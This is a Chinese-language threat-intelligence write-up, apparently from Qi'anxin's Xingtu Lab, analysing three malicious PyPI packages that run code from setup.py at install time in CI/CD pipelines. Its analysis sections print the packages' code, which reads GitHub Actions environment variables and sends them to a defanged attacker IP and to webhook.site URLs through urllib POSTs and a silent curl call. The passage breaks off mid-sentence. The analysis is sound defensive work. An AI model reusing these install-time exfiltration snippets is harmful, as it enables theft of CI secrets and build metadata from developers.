  <p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">天问监测模块在2026年2月发现了一批针对CI/CD的恶意软件包，通过包名伪装来诱导用户下载，在依赖安装阶段隐蔽执行恶意代码，从而窃取CI运行环境中的构建元数据与敏感环境变量。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块，”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测，发现了大量的恶意包和攻击行为。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1. 背景</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">随着 DevOps 和 CI/CD（Continuous Integration / Continuous Deployment）流程在软件工程中的广泛采用，自动化构建、测试和部署流水线已成为现代软件交付的核心基础设施。在这一过程中，CI/CD 系统通常需要从公共软件仓库（如 PyPI、npm、Maven Central 等）动态下载并安装大量第三方依赖包，以完成构建、测试及部署任务。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">然而，这种高度自动化、强依赖第三方组件的模式，也显著扩大了软件供应链的攻击面。攻击者可以通过向公共包仓库投递恶意依赖包（Malicious Package），诱导 CI/CD 流水线在构建阶段自动执行恶意代码，从而实现：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">敏感 CI 环境变量窃取（如 API Token、云平台密钥、SSH 私钥）</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">内网资产探测与横向移动</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">构建产物投毒，植入后门</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">持久化后门部署</span></p></li></ul><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2. 攻击样本概述</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">星图实验室天问软件供应链监测系统在春节期间发现了PyPI中出现的针对CI/CD的恶意软件包。我们挑选了其中3个来系统分析其攻击逻辑及危害，即</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">http_notifier_test-1.0.0</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">ci_metadata_python_logging-0.1.0</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pylibcugraphops-23.12.0</span></code><span leaf="">。这些样本在命名、功能描述和行为逻辑上，均明显针对 CI/CD 场景进行定向投毒，具有典型代表性。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.21296296296296297" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005397" src="https://wechat2rss.xlab.app/img-proxy/?k=ca273620&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdtPibdsSUc0icQH4GPeIYOA5vDqFibFB9eoBDxtjCKTEJYegjZvHTNy2ZMCbQnnicLseqevcgmkY4DW94UzIZXtMMnhh5icaDIdJY5A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">从命名风格可观察到，攻击者刻意采用“CI”、“metadata”、“logging”、“test”等关键词，使包名看起来高度贴合自动化构建、测试与日志采集场景，从而降低人工审查与用户警惕。</span></p><hr style="box-sizing: content-box;height: 0px;width: 780px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3. 恶意行为分析</span></h2><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3.1 利用 setup.py 触发自动执行</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">三个样本均将恶意逻辑嵌入于 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf=""> 中。由于 Python 包在安装时会自动执行 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf="">，因此攻击者可在 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">pip install 阶段实现无感执行</span></strong><span leaf="">，极其适合 CI/CD 场景。这一阶段通常发生在：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">CI Runner</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">GitHub Actions / GitLab Runner</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">Jenkins Agent</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">云原生构建节点</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">且大多以 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">高权限、全自动、无人工干预</span></strong><span leaf=""> 的方式执行，为攻击者提供了极佳的攻击窗口。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">3.2 CI 环境识别与定向攻击</span></strong></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">恶意样本通常首先检测是否运行在 CI/CD 环境中：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__keyword">import</span> os</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> <span class="code-snippet__string">&#34;CI&#34;</span> <span class="code-snippet__keyword">in</span> os.environ <span class="code-snippet__keyword">or</span> <span class="code-snippet__string">&#34;GITHUB_ACTIONS&#34;</span> <span class="code-snippet__keyword">in</span> os.environ:</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 执行恶意逻辑</span></span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">我们发现的三个样本，均在</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf="">中尝试获取CI相关环境变量信息</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">http_notifier_test</span></code></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cs"><code><span leaf="">ci_metadata = {</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;ci&#34;</span>: os.environ.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;CI&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;github_actions&#34;</span>: os.environ.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;GITHUB_ACTIONS&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;github_workflow&#34;</span>: os.environ.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;GITHUB_WORKFLOW&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;github_run_id&#34;</span>: os.environ.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;GITHUB_RUN_ID&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;github_run_number&#34;</span>: os.environ.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;GITHUB_RUN_NUMBER&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;github_run_attempt&#34;</span>: os.environ.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;GITHUB_RUN_ATTEMPT&#34;</span>),</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><p><span style="color: rgb(32, 32, 32);font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12.8px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(246, 246, 246);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">ci_metadata_python_logging</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">ci_metadata&#34;: {</span></code><br/><code><span leaf="">&#34;ci_detected&#34;: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;CI&#34;</span>, <span class="code-snippet__string">&#34;false&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_actions&#34;</span>: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;GITHUB_ACTIONS&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_workflow&#34;</span>: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;GITHUB_WORKFLOW&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_run_id&#34;</span>: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;GITHUB_RUN_ID&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_actor&#34;</span>: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;GITHUB_ACTOR&#34;</span>), # Who triggered the run</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_ref&#34;</span>: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;GITHUB_REF&#34;</span>),     # Branch or tag</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;git_commit&#34;</span>: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;GITHUB_SHA&#34;</span>)</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><p><span style="color: rgb(32, 32, 32);font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12.8px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(246, 246, 246);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">pylibcugraphops</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cs"><code><span leaf=""><span class="code-snippet__keyword">params</span> = {</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;ip&#34;</span>: ip,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;ci&#34;</span>: os.getenv(<span class="code-snippet__string">&#34;CI&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_act&#34;</span>: os.getenv(<span class="code-snippet__string">&#34;GITHUB_ACTIONS&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_wf&#34;</span>: os.getenv(<span class="code-snippet__string">&#34;GITHUB_WORKFLOW&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_id&#34;</span>: os.getenv(<span class="code-snippet__string">&#34;GITHUB_RUN_ID&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_num&#34;</span>: os.getenv(<span class="code-snippet__string">&#34;GITHUB_RUN_NUMBER&#34;</span>),</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">这些CI数据可以使攻击者精确定位受害项目的构建流程与代码状态，进而实现高度定向攻击，同时对于记录的CI流水线的GitHub用户身份，可以依此来构建针对性的钓鱼攻击。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">3.3 HTTP外联通信</span></strong></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这些恶意样本均实现了HTTP 外联模块，用于将窃取的数据发送至攻击者服务器。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">http_notifier_test</span></code></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf="">BEACON_URL = <span class="code-snippet__string">&#34;http[:]//164.90.176.41:23444&#34;</span></span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Send POST request with IP info</span></span></code><br/><code><span leaf="">json_data = json.dumps(data).encode(&#39;utf-8&#39;)</span></code><br/><code><span leaf="">req = urllib.request.Request(</span></code><br/><code><span leaf="">BEACON_URL,</span></code><br/><code><span leaf="">data=json_data,</span></code><br/><code><span leaf="">headers={&#39;Content-Type&#39;: &#39;application/json&#39;}</span></code><br/><code><span leaf="">)</span></code><br/><code><span leaf="">urllib.request.urlopen(req, timeout=3)</span></code><br/></pre></p><p><span style="color: rgb(32, 32, 32);font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12.8px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(246, 246, 246);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">ci_metadata_python_logging</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf=""><span class="code-snippet__comment"># 3. Send to Webhook</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Note: example.com is a placeholder; use your webhook.site URL</span></span></code><br/><code><span leaf="">webhook_url = <span class="code-snippet__string">&#34;https[:]//webhook.site/5940aa52-b829-4f0d-afe2-08d29d2922d0&#34;</span> </span></code><br/><code><span leaf="">req = urllib.request.Request(</span></code><br/><code><span leaf="">webhook_url,</span></code><br/><code><span leaf="">data=json.dumps(payload).encode(<span class="code-snippet__string">&#34;utf-8&#34;</span>),</span></code><br/><code><span leaf="">headers={<span class="code-snippet__string">&#34;Content-Type&#34;</span>: <span class="code-snippet__string">&#34;application/json&#34;</span>},</span></code><br/><code><span leaf="">method=<span class="code-snippet__string">&#34;POST&#34;</span></span></code><br/><code><span leaf="">)</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Short timeout ensures the install doesn&#39;t &#34;hang&#34; if the site is down</span></span></code><br/><code><span leaf="">urllib.request.urlopen(req, timeout=5)</span></code><br/></pre></p><p style=""><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.5000pt;mso-font-kerning:1.0000pt;"><font face="Calibri"><span style="color: rgb(32, 32, 32);font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12.8px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(246, 246, 246);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">pylibcugraphops</span></span></font></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf="">WEBHOOK_URL = <span class="code-snippet__string">&#34;https[:]//webhook.site/1cee78e0-32f4-4e76-8f9d-f2bfa58784f9&#34;</span></span></code><br/><code><span leaf="">COLLAB_DOMAIN = <span class="code-snippet__string">&#34;your-collab-domain.oastify.com&#34;</span></span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf="">query = <span class="code-snippet__string">&#34;&amp;&#34;</span>.join([f<span class="code-snippet__string">&#34;{k}={v}&#34;</span> for k,v in params.items() if v])</span></code><br/><code><span leaf="">url = f<span class="code-snippet__string">&#34;{WEBHOOK_URL}?{query}&#34;</span></span></code><br/><code><span leaf="">subprocess.Popen(</span></code><br/><code><span leaf="">[<span class="code-snippet__string">&#34;curl&#34;</span>, <span class="code-snippet__string">&#34;-m&#34;</span>, <span class="code-snippet__string">&#34;3&#34;</span>, <span class="code-snippet__string">&#34;-s&#34;</span>, url],</span></code><br/><code><span leaf="">stdout=subprocess.DEVNULL,</span></code><br/><code><span leaf="">stderr=subprocess.DEVNULL</span></code><br/><code><span leaf="">)</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">从这些代码的结构和注释，我们不难发现这些攻击样本来自于固定的模版，攻击者只需修改其中的服务器地址就能实施攻击。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而且</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, 